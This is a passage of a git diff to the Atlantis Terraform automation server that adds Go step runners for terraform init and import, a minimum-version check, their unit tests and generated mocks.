When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). + ThenReturn("output", nil) + output, err := s.Run(context, []string{}, tmpDir, map[string]string(nil)) + Ok(t, err) + Equals(t, "output", output) + commands := []string{"import", "-var", "foo=bar", "addr", "id"} + terraform.VerifyWasCalledOnce().RunCommandWithVersion(context, tmpDir, commands, map[string]string(nil), tfDistribution, tfVersion, workspace) + _, err = os.Stat(planPath) + Assert(t, os.IsNotExist(err), "planfile should be deleted") +} + +func TestImportStepRunner_Run_Workspace(t *testing.T) { + logger := logging.NewNoopLogger(t) + workspace := "something" + tmpDir := t.TempDir() + planPath := filepath.Join(tmpDir, fmt.Sprintf("%s.tfplan", workspace)) + err := os.WriteFile(planPath, nil, 0600) + Ok(t, err) + + context := command.ProjectContext{ + Log: logger, + EscapedCommentArgs: []string{"-var", "foo=bar", "addr", "id"}, + Workspace: workspace, + } + + RegisterMockTestingT(t) + terraform := tfclientmocks.NewMockClient() + tfVersion, _ := version.NewVersion("0.15.0") + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + s := NewImportStepRunner(terraform, tfDistribution, tfVersion) + + When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). + ThenReturn("output", nil) + output, err := s.Run(context, []string{}, tmpDir, map[string]string(nil)) + Ok(t, err) + Equals(t, "output", output) + + // switch workspace + terraform.VerifyWasCalledOnce().RunCommandWithVersion(context, tmpDir, []string{"workspace", "show"}, map[string]string(nil), tfDistribution, tfVersion, workspace) + terraform.VerifyWasCalledOnce().RunCommandWithVersion(context, tmpDir, []string{"workspace", "select", workspace}, map[string]string(nil), tfDistribution, tfVersion, workspace) + + // exec import + commands := []string{"import", "-var", "foo=bar", "addr", "id"} + terraform.VerifyWasCalledOnce().RunCommandWithVersion(context, tmpDir, commands, map[string]string(nil), tfDistribution, tfVersion, workspace) + + _, err = os.Stat(planPath) + Assert(t, os.IsNotExist(err), "planfile should be deleted") +} + +func TestImportStepRunner_Run_UsesConfiguredDistribution(t *testing.T) { + logger := logging.NewNoopLogger(t) + workspace := "something" + tmpDir := t.TempDir() + planPath := filepath.Join(tmpDir, fmt.Sprintf("%s.tfplan", workspace)) + err := os.WriteFile(planPath, nil, 0600) + Ok(t, err) + + projTFDistribution := "opentofu" + context := command.ProjectContext{ + Log: logger, + EscapedCommentArgs: []string{"-var", "foo=bar", "addr", "id"}, + Workspace: workspace, + TerraformDistribution: &projTFDistribution, + } + + RegisterMockTestingT(t) + terraform := tfclientmocks.NewMockClient() + tfVersion, _ := version.NewVersion("0.15.0") + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + s := NewImportStepRunner(terraform, tfDistribution, tfVersion) + + When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). + ThenReturn("output", nil) + output, err := s.Run(context, []string{}, tmpDir, map[string]string(nil)) + Ok(t, err) + Equals(t, "output", output) + + // switch workspace + terraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(context), Eq(tmpDir), Eq([]string{"workspace", "show"}), Eq(map[string]string(nil)), NotEq(tfDistribution), Eq(tfVersion), Eq(workspace)) + terraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(context), Eq(tmpDir), Eq([]string{"workspace", "select", workspace}), Eq(map[string]string(nil)), NotEq(tfDistribution), Eq(tfVersion), Eq(workspace)) + + // exec import + commands := []string{"import", "-var", "foo=bar", "addr", "id"} + terraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(context), Eq(tmpDir), Eq(commands), Eq(map[string]string(nil)), NotEq(tfDistribution), Eq(tfVersion), Eq(workspace)) + + _, err = os.Stat(planPath) + Assert(t, os.IsNotExist(err), "planfile should be deleted") +} diff --git a/server/core/runtime/init_step_runner.go b/server/core/runtime/init_step_runner.go new file mode 100644 index 0000000000..c8da3ffa48 --- /dev/null +++ b/server/core/runtime/init_step_runner.go @@ -0,0 +1,73 @@ +package runtime + +import ( + "path/filepath" + + version "github.com/hashicorp/go-version" + "github.com/runatlantis/atlantis/server/core/runtime/common" + "github.com/runatlantis/atlantis/server/core/terraform" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/utils" +) + +// InitStep runs `terraform init`. +type InitStepRunner struct { + TerraformExecutor TerraformExec + DefaultTFDistribution terraform.Distribution + DefaultTFVersion *version.Version +} + +func (i *InitStepRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) { + lockFileName := ".terraform.lock.hcl" + terraformLockfilePath := filepath.Join(path, lockFileName) + terraformLockFileTracked, err := common.IsFileTracked(path, lockFileName) + if err != nil { + ctx.Log.Warn("Error checking if %s is tracked in %s", lockFileName, path) + } + // If .terraform.lock.hcl is not tracked in git and it exists prior to init + // delete it as it probably has been created by a previous run of + // terraform init + if common.FileExists(terraformLockfilePath) && !terraformLockFileTracked { + ctx.Log.Debug("Deleting `%s` that was generated by previous terraform init", terraformLockfilePath) + delErr := utils.RemoveIgnoreNonExistent(terraformLockfilePath) + if delErr != nil { + ctx.Log.Info("Error Deleting `%s`", lockFileName) + } + } + + tfDistribution := i.DefaultTFDistribution + if ctx.TerraformDistribution != nil { + tfDistribution = terraform.NewDistribution(*ctx.TerraformDistribution) + } + + tfVersion := i.DefaultTFVersion + if ctx.TerraformVersion != nil { + tfVersion = ctx.TerraformVersion + } + + terraformInitVerb := []string{"init"} + terraformInitArgs := []string{"-input=false"} + + // If we're running < 0.9 we have to use `terraform get` instead of `init`. + if MustConstraint("< 0.9.0").Check(tfVersion) { + ctx.Log.Info("running terraform version %s so will use `get` instead of `init`", tfVersion) + terraformInitVerb = []string{"get"} + terraformInitArgs = []string{} + } + + if MustConstraint("< 0.14.0").Check(tfVersion) || !common.FileExists(terraformLockfilePath) { + terraformInitArgs = append(terraformInitArgs, "-upgrade") + } + + finalArgs := common.DeDuplicateExtraArgs(terraformInitArgs, extraArgs) + + terraformInitCmd := append(terraformInitVerb, finalArgs...) + + out, err := i.TerraformExecutor.RunCommandWithVersion(ctx, path, terraformInitCmd, envs, tfDistribution, tfVersion, ctx.Workspace) + // Only include the init output if there was an error. Otherwise it's + // unnecessary and lengthens the comment. + if err != nil { + return out, err + } + return "", nil +} diff --git a/server/core/runtime/init_step_runner_test.go b/server/core/runtime/init_step_runner_test.go new file mode 100644 index 0000000000..86d029c2d8 --- /dev/null +++ b/server/core/runtime/init_step_runner_test.go @@ -0,0 +1,410 @@ +package runtime_test + +import ( + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + + version "github.com/hashicorp/go-version" + . "github.com/petergtz/pegomock/v4" + "github.com/pkg/errors" + + "github.com/runatlantis/atlantis/server/core/runtime" + tf "github.com/runatlantis/atlantis/server/core/terraform" + "github.com/runatlantis/atlantis/server/core/terraform/mocks" + tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/logging" + . "github.com/runatlantis/atlantis/testing" +) + +func TestRun_UsesGetOrInitForRightVersion(t *testing.T) { + RegisterMockTestingT(t) + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + cases := []struct { + version string + expCmd string + }{ + { + "0.8.9", + "get", + }, + { + "0.9.0", + "init", + }, + { + "0.9.1", + "init", + }, + { + "0.10.0", + "init", + }, + } + + for _, c := range cases { + t.Run(c.version, func(t *testing.T) { + terraform := tfclientmocks.NewMockClient() + + logger := logging.NewNoopLogger(t) + ctx := command.ProjectContext{ + Workspace: "workspace", + RepoRelDir: ".", + Log: logger, + } + + tfVersion, _ := version.NewVersion(c.version) + iso := runtime.InitStepRunner{ + TerraformExecutor: terraform, + DefaultTFDistribution: tfDistribution, + DefaultTFVersion: tfVersion, + } + When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). + ThenReturn("output", nil) + + output, err := iso.Run(ctx, []string{"extra", "args"}, "/path", map[string]string(nil)) + Ok(t, err) + // When there is no error, should not return init output to PR. + Equals(t, "", output) + + // If using init then we specify -input=false but not for get. + expArgs := []string{c.expCmd, "-input=false", "-upgrade", "extra", "args"} + if c.expCmd == "get" { + expArgs = []string{c.expCmd, "-upgrade", "extra", "args"} + } + terraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, "/path", expArgs, map[string]string(nil), tfDistribution, tfVersion, "workspace") + }) + } +} + +func TestInitStepRunner_TestRun_UsesConfiguredDistribution(t *testing.T) { + RegisterMockTestingT(t) + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + cases := []struct { + version string + distribution string + expCmd string + }{ + { + "0.8.9", + "opentofu", + "get", + }, + { + "0.8.9", + "terraform", + "get", + }, + { + "0.9.0", + "opentofu", + "init", + }, + { + "0.9.1", + "terraform", + "init", + }, + } + + for _, c := range cases { + t.Run(c.version, func(t *testing.T) { + terraform := tfclientmocks.NewMockClient() + + logger := logging.NewNoopLogger(t) + ctx := command.ProjectContext{ + Workspace: "workspace", + RepoRelDir: ".", + Log: logger, + TerraformDistribution: &c.distribution, + } + + tfVersion, _ := version.NewVersion(c.version) + iso := runtime.InitStepRunner{ + TerraformExecutor: terraform, + DefaultTFDistribution: tfDistribution, + DefaultTFVersion: tfVersion, + } + When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). + ThenReturn("output", nil) + + output, err := iso.Run(ctx, []string{"extra", "args"}, "/path", map[string]string(nil)) + Ok(t, err) + // When there is no error, should not return init output to PR. + Equals(t, "", output) + + // If using init then we specify -input=false but not for get. + expArgs := []string{c.expCmd, "-input=false", "-upgrade", "extra", "args"} + if c.expCmd == "get" { + expArgs = []string{c.expCmd, "-upgrade", "extra", "args"} + } + terraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(ctx), Eq("/path"), Eq(expArgs), Eq(map[string]string(nil)), NotEq(tfDistribution), Eq(tfVersion), Eq("workspace")) + }) + } +} + +func TestRun_ShowInitOutputOnError(t *testing.T) { + // If there was an error during init then we want the output to be returned. + RegisterMockTestingT(t) + tfClient := tfclientmocks.NewMockClient() + logger := logging.NewNoopLogger(t) + When(tfClient.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). + ThenReturn("output", errors.New("error")) + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + tfVersion, _ := version.NewVersion("0.11.0") + iso := runtime.InitStepRunner{ + TerraformExecutor: tfClient, + DefaultTFDistribution: tfDistribution, + DefaultTFVersion: tfVersion, + } + + output, err := iso.Run(command.ProjectContext{ + Workspace: "workspace", + RepoRelDir: ".", + Log: logger, + }, nil, "/path", map[string]string(nil)) + ErrEquals(t, "error", err) + Equals(t, "output", output) +} + +func TestRun_InitOmitsUpgradeFlagIfLockFileTracked(t *testing.T) { + // Initialize the git repo. + repoDir := initRepo(t) + + lockFilePath := filepath.Join(repoDir, ".terraform.lock.hcl") + err := os.WriteFile(lockFilePath, nil, 0600) + Ok(t, err) + // commit lock file + runCmd(t, repoDir, "git", "add", ".terraform.lock.hcl") + runCmd(t, repoDir, "git", "commit", "-m", "add .terraform.lock.hcl") + + logger := logging.NewNoopLogger(t) + ctx := command.ProjectContext{ + Workspace: "workspace", + RepoRelDir: ".", + Log: logger, + } + + RegisterMockTestingT(t) + terraform := tfclientmocks.NewMockClient() + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + tfVersion, _ := version.NewVersion("0.14.0") + iso := runtime.InitStepRunner{ + TerraformExecutor: terraform, + DefaultTFDistribution: tfDistribution, + DefaultTFVersion: tfVersion, + } + When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). + ThenReturn("output", nil) + + output, err := iso.Run(ctx, []string{"extra", "args"}, repoDir, map[string]string(nil)) + Ok(t, err) + // When there is no error, should not return init output to PR. + Equals(t, "", output) + + expectedArgs := []string{"init", "-input=false", "extra", "args"} + terraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, repoDir, expectedArgs, map[string]string(nil), tfDistribution, tfVersion, "workspace") +} + +func TestRun_InitKeepsUpgradeFlagIfLockFileNotPresent(t *testing.T) { + tmpDir := t.TempDir() + + RegisterMockTestingT(t) + terraform := tfclientmocks.NewMockClient() + logger := logging.NewNoopLogger(t) + ctx := command.ProjectContext{ + Workspace: "workspace", + RepoRelDir: ".", + Log: logger, + } + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + tfVersion, _ := version.NewVersion("0.14.0") + iso := runtime.InitStepRunner{ + TerraformExecutor: terraform, + DefaultTFDistribution: tfDistribution, + DefaultTFVersion: tfVersion, + } + When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). + ThenReturn("output", nil) + + output, err := iso.Run(ctx, []string{"extra", "args"}, tmpDir, map[string]string(nil)) + Ok(t, err) + // When there is no error, should not return init output to PR. + Equals(t, "", output) + + expectedArgs := []string{"init", "-input=false", "-upgrade", "extra", "args"} + terraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, tmpDir, expectedArgs, map[string]string(nil), tfDistribution, tfVersion, "workspace") +} + +func TestRun_InitKeepUpgradeFlagIfLockFilePresentAndTFLessThanPoint14(t *testing.T) { + tmpDir := t.TempDir() + lockFilePath := filepath.Join(tmpDir, ".terraform.lock.hcl") + err := os.WriteFile(lockFilePath, nil, 0600) + Ok(t, err) + + RegisterMockTestingT(t) + terraform := tfclientmocks.NewMockClient() + + logger := logging.NewNoopLogger(t) + ctx := command.ProjectContext{ + Workspace: "workspace", + RepoRelDir: ".", + Log: logger, + } + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + tfVersion, _ := version.NewVersion("0.13.0") + iso := runtime.InitStepRunner{ + TerraformExecutor: terraform, + DefaultTFDistribution: tfDistribution, + DefaultTFVersion: tfVersion, + } + When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). + ThenReturn("output", nil) + + output, err := iso.Run(ctx, []string{"extra", "args"}, tmpDir, map[string]string(nil)) + Ok(t, err) + // When there is no error, should not return init output to PR. + Equals(t, "", output) + + expectedArgs := []string{"init", "-input=false", "-upgrade", "extra", "args"} + terraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, tmpDir, expectedArgs, map[string]string(nil), tfDistribution, tfVersion, "workspace") +} + +func TestRun_InitExtraArgsDeDupe(t *testing.T) { + RegisterMockTestingT(t) + cases := []struct { + description string + extraArgs []string + expectedArgs []string + }{ + { + "No extra args", + []string{}, + []string{"init", "-input=false", "-upgrade"}, + }, + { + "Override -upgrade", + []string{"-upgrade=false"}, + []string{"init", "-input=false", "-upgrade=false"}, + }, + { + "Override -input", + []string{"-input=true"}, + []string{"init", "-input=true", "-upgrade"}, + }, + { + "Override -input and -upgrade", + []string{"-input=true", "-upgrade=false"}, + []string{"init", "-input=true", "-upgrade=false"}, + }, + { + "Non duplicate extra args", + []string{"extra", "args"}, + []string{"init", "-input=false", "-upgrade", "extra", "args"}, + }, + { + "Override upgrade with extra args", + []string{"extra", "args", "-upgrade=false"}, + []string{"init", "-input=false", "-upgrade=false", "extra", "args"}, + }, + } + + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + terraform := tfclientmocks.NewMockClient() + + logger := logging.NewNoopLogger(t) + ctx := command.ProjectContext{ + Workspace: "workspace", + RepoRelDir: ".", + Log: logger, + } + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + tfVersion, _ := version.NewVersion("0.10.0") + iso := runtime.InitStepRunner{ + TerraformExecutor: terraform, + DefaultTFDistribution: tfDistribution, + DefaultTFVersion: tfVersion, + } + When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). + ThenReturn("output", nil) + + output, err := iso.Run(ctx, c.extraArgs, "/path", map[string]string(nil)) + Ok(t, err) + // When there is no error, should not return init output to PR. + Equals(t, "", output) + + terraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, "/path", c.expectedArgs, map[string]string(nil), tfDistribution, tfVersion, "workspace") + }) + } +} + +func TestRun_InitDeletesLockFileIfPresentAndNotTracked(t *testing.T) { + // Initialize the git repo. + repoDir := initRepo(t) + + lockFilePath := filepath.Join(repoDir, ".terraform.lock.hcl") + err := os.WriteFile(lockFilePath, nil, 0600) + Ok(t, err) + + RegisterMockTestingT(t) + terraform := tfclientmocks.NewMockClient() + + logger := logging.NewNoopLogger(t) + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + tfVersion, _ := version.NewVersion("0.14.0") + + iso := runtime.InitStepRunner{ + TerraformExecutor: terraform, + DefaultTFDistribution: tfDistribution, + DefaultTFVersion: tfVersion, + } + When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). + ThenReturn("output", nil) + + ctx := command.ProjectContext{ + Workspace: "workspace", + RepoRelDir: ".", + Log: logger, + } + output, err := iso.Run(ctx, []string{"extra", "args"}, repoDir, map[string]string(nil)) + Ok(t, err) + // When there is no error, should not return init output to PR. + Equals(t, "", output) + + expectedArgs := []string{"init", "-input=false", "-upgrade", "extra", "args"} + terraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, repoDir, expectedArgs, map[string]string(nil), tfDistribution, tfVersion, "workspace") +} + +func runCmd(t *testing.T, dir string, name string, args ...string) string { + t.Helper() + cpCmd := exec.Command(name, args...) + cpCmd.Dir = dir + cpOut, err := cpCmd.CombinedOutput() + Assert(t, err == nil, "err running %q: %s", strings.Join(append([]string{name}, args...), " "), cpOut) + return string(cpOut) +} + +func initRepo(t *testing.T) string { + repoDir := t.TempDir() + runCmd(t, repoDir, "git", "init") + runCmd(t, repoDir, "touch", ".gitkeep") + runCmd(t, repoDir, "git", "add", ".gitkeep") + runCmd(t, repoDir, "git", "config", "--local", "user.email", "atlantisbot@runatlantis.io") + runCmd(t, repoDir, "git", "config", "--local", "user.name", "atlantisbot") + runCmd(t, repoDir, "git", "config", "--local", "commit.gpgsign", "false") + runCmd(t, repoDir, "git", "commit", "-m", "initial commit") + runCmd(t, repoDir, "git", "branch", "branch") + return repoDir +} diff --git a/server/core/runtime/minimum_version_step_runner_delegate.go b/server/core/runtime/minimum_version_step_runner_delegate.go new file mode 100644 index 0000000000..5dc2ad3b65 --- /dev/null +++ b/server/core/runtime/minimum_version_step_runner_delegate.go @@ -0,0 +1,44 @@ +package runtime + +import ( + "fmt" + + "github.com/hashicorp/go-version" + "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/events/command" +) + +// minimumVersionStepRunnerDelegate ensures that a given step runner can't run unless the command version being used +// is greater than a provided minimum +type minimumVersionStepRunnerDelegate struct { + minimumVersion *version.Version + defaultTfVersion *version.Version + delegate Runner +} + +func NewMinimumVersionStepRunnerDelegate(minimumVersionStr string, defaultVersion *version.Version, delegate Runner) (Runner, error) { + minimumVersion, err := version.NewVersion(minimumVersionStr) + + if err != nil { + return &minimumVersionStepRunnerDelegate{}, errors.Wrap(err, "initializing minimum version") + } + + return &minimumVersionStepRunnerDelegate{ + minimumVersion: minimumVersion, + defaultTfVersion: defaultVersion, + delegate: delegate, + }, nil +} + +func (r *minimumVersionStepRunnerDelegate) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) { + tfVersion := r.defaultTfVersion + if ctx.TerraformVersion != nil { + tfVersion = ctx.TerraformVersion + } + + if tfVersion.LessThan(r.minimumVersion) { + return fmt.Sprintf("Version: %s is unsupported for this step. Minimum version is: %s", tfVersion.String(), r.minimumVersion.String()), nil + } + + return r.delegate.Run(ctx, extraArgs, path, envs) +} diff --git a/server/core/runtime/minimum_version_step_runner_delegate_test.go b/server/core/runtime/minimum_version_step_runner_delegate_test.go new file mode 100644 index 0000000000..2c87f67118 --- /dev/null +++ b/server/core/runtime/minimum_version_step_runner_delegate_test.go @@ -0,0 +1,120 @@ +package runtime + +import ( + "testing" + + "github.com/hashicorp/go-version" + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/server/core/runtime/mocks" + "github.com/runatlantis/atlantis/server/events/command" + . "github.com/runatlantis/atlantis/testing" +) + +func TestRunMinimumVersionDelegate(t *testing.T) { + RegisterMockTestingT(t) + + mockDelegate := mocks.NewMockRunner() + + tfVersion12, _ := version.NewVersion("0.12.0") + tfVersion11, _ := version.NewVersion("0.11.15") + + // these stay the same for all tests + extraArgs := []string{"extra", "args"} + envs := map[string]string{} + path := "" + + expectedOut := "some valid output from delegate" + + t.Run("default version success", func(t *testing.T) { + subject := &minimumVersionStepRunnerDelegate{ + defaultTfVersion: tfVersion12, + minimumVersion: tfVersion12, + delegate: mockDelegate, + } + + ctx := command.ProjectContext{} + + When(mockDelegate.Run(ctx, extraArgs, path, envs)).ThenReturn(expectedOut, nil) + + output, err := subject.Run( + ctx, + extraArgs, + path, + envs, + ) + + Equals(t, expectedOut, output) + Ok(t, err) + }) + + t.Run("ctx version success", func(t *testing.T) { + subject := &minimumVersionStepRunnerDelegate{ + defaultTfVersion: tfVersion11, + minimumVersion: tfVersion12, + delegate: mockDelegate, + } + + ctx := command.ProjectContext{ + TerraformVersion: tfVersion12, + } + + When(mockDelegate.Run(ctx, extraArgs, path, envs)).ThenReturn(expectedOut, nil) + + output, err := subject.Run( + ctx, + extraArgs, + path, + envs, + ) + + Equals(t, expectedOut, output) + Ok(t, err) + }) + + t.Run("default version failure", func(t *testing.T) { + subject := &minimumVersionStepRunnerDelegate{ + defaultTfVersion: tfVersion11, + minimumVersion: tfVersion12, + delegate: mockDelegate, + } + + ctx := command.ProjectContext{} + + output, err := subject.Run( + ctx, + extraArgs, + path, + envs, + ) + + mockDelegate.VerifyWasCalled(Never()) + + Equals(t, "Version: 0.11.15 is unsupported for this step. Minimum version is: 0.12.0", output) + Ok(t, err) + }) + + t.Run("ctx version failure", func(t *testing.T) { + subject := &minimumVersionStepRunnerDelegate{ + defaultTfVersion: tfVersion12, + minimumVersion: tfVersion12, + delegate: mockDelegate, + } + + ctx := command.ProjectContext{ + TerraformVersion: tfVersion11, + } + + output, err := subject.Run( + ctx, + extraArgs, + path, + envs, + ) + + mockDelegate.VerifyWasCalled(Never()) + + Equals(t, "Version: 0.11.15 is unsupported for this step. Minimum version is: 0.12.0", output) + Ok(t, err) + }) + +} diff --git a/server/core/runtime/mocks/mock_async_tfexec.go b/server/core/runtime/mocks/mock_async_tfexec.go new file mode 100644 index 0000000000..453c80012d --- /dev/null +++ b/server/core/runtime/mocks/mock_async_tfexec.go @@ -0,0 +1,158 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/core/runtime (interfaces: AsyncTFExec) + +package mocks + +import ( + go_version "github.com/hashicorp/go-version" + pegomock "github.com/petergtz/pegomock/v4" + models "github.com/runatlantis/atlantis/server/core/runtime/models" + terraform "github.com/runatlantis/atlantis/server/core/terraform" + command "github.com/runatlantis/atlantis/server/events/command" + "reflect" + "time" +) + +type MockAsyncTFExec struct { + fail func(message string, callerSkip ...int) +} + +func NewMockAsyncTFExec(options ...pegomock.Option) *MockAsyncTFExec { + mock := &MockAsyncTFExec{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockAsyncTFExec) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockAsyncTFExec) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockAsyncTFExec) RunCommandAsync(ctx command.ProjectContext, path string, args []string, envs map[string]string, d terraform.Distribution, v *go_version.Version, workspace string) (chan<- string, <-chan models.Line) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockAsyncTFExec().") + } + _params := []pegomock.Param{ctx, path, args, envs, d, v, workspace} + _result := pegomock.GetGenericMockFrom(mock).Invoke("RunCommandAsync", _params, []reflect.Type{reflect.TypeOf((*chan<- string)(nil)).Elem(), reflect.TypeOf((*<-chan models.Line)(nil)).Elem()}) + var _ret0 chan<- string + var _ret1 <-chan models.Line + if len(_result) != 0 { + if _result[0] != nil { + var ok bool + _ret0, ok = _result[0].(chan string) + if !ok { + _ret0 = _result[0].(chan<- string) + } + } + if _result[1] != nil { + var ok bool + _ret1, ok = _result[1].(chan models.Line) + if !ok { + _ret1 = _result[1].(<-chan models.Line) + } + } + } + return _ret0, _ret1 +} + +func (mock *MockAsyncTFExec) VerifyWasCalledOnce() *VerifierMockAsyncTFExec { + return &VerifierMockAsyncTFExec{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockAsyncTFExec) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockAsyncTFExec { + return &VerifierMockAsyncTFExec{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockAsyncTFExec) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockAsyncTFExec { + return &VerifierMockAsyncTFExec{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockAsyncTFExec) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockAsyncTFExec { + return &VerifierMockAsyncTFExec{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockAsyncTFExec struct { + mock *MockAsyncTFExec + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockAsyncTFExec) RunCommandAsync(ctx command.ProjectContext, path string, args []string, envs map[string]string, d terraform.Distribution, v *go_version.Version, workspace string) *MockAsyncTFExec_RunCommandAsync_OngoingVerification { + _params := []pegomock.Param{ctx, path, args, envs, d, v, workspace} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "RunCommandAsync", _params, verifier.timeout) + return &MockAsyncTFExec_RunCommandAsync_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockAsyncTFExec_RunCommandAsync_OngoingVerification struct { + mock *MockAsyncTFExec + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockAsyncTFExec_RunCommandAsync_OngoingVerification) GetCapturedArguments() (command.ProjectContext, string, []string, map[string]string, terraform.Distribution, *go_version.Version, string) { + ctx, path, args, envs, d, v, workspace := c.GetAllCapturedArguments() + return ctx[len(ctx)-1], path[len(path)-1], args[len(args)-1], envs[len(envs)-1], d[len(d)-1], v[len(v)-1], workspace[len(workspace)-1] +} + +func (c *MockAsyncTFExec_RunCommandAsync_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []string, _param2 [][]string, _param3 []map[string]string, _param4 []terraform.Distribution, _param5 []*go_version.Version, _param6 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]command.ProjectContext, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(command.ProjectContext) + } + } + if len(_params) > 1 { + _param1 = make([]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(string) + } + } + if len(_params) > 2 { + _param2 = make([][]string, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.([]string) + } + } + if len(_params) > 3 { + _param3 = make([]map[string]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(map[string]string) + } + } + if len(_params) > 4 { + _param4 = make([]terraform.Distribution, len(c.methodInvocations)) + for u, param := range _params[4] { + _param4[u] = param.(terraform.Distribution) + } + } + if len(_params) > 5 { + _param5 = make([]*go_version.Version, len(c.methodInvocations)) + for u, param := range _params[5] { + _param5[u] = param.(*go_version.Version) + } + } + if len(_params) > 6 { + _param6 = make([]string, len(c.methodInvocations)) + for u, param := range _params[6] { + _param6[u] = param.(string) + } + } + } + return +} diff --git a/server/core/runtime/mocks/mock_external_team_allowlist_runner.go b/server/core/runtime/mocks/mock_external_team_allowlist_runner.go new file mode 100644 index 0000000000..3918bbb9d7 --- /dev/null +++ b/server/core/runtime/mocks/mock_external_team_allowlist_runner.go @@ -0,0 +1,129 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/core/runtime (interfaces: ExternalTeamAllowlistRunner) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + 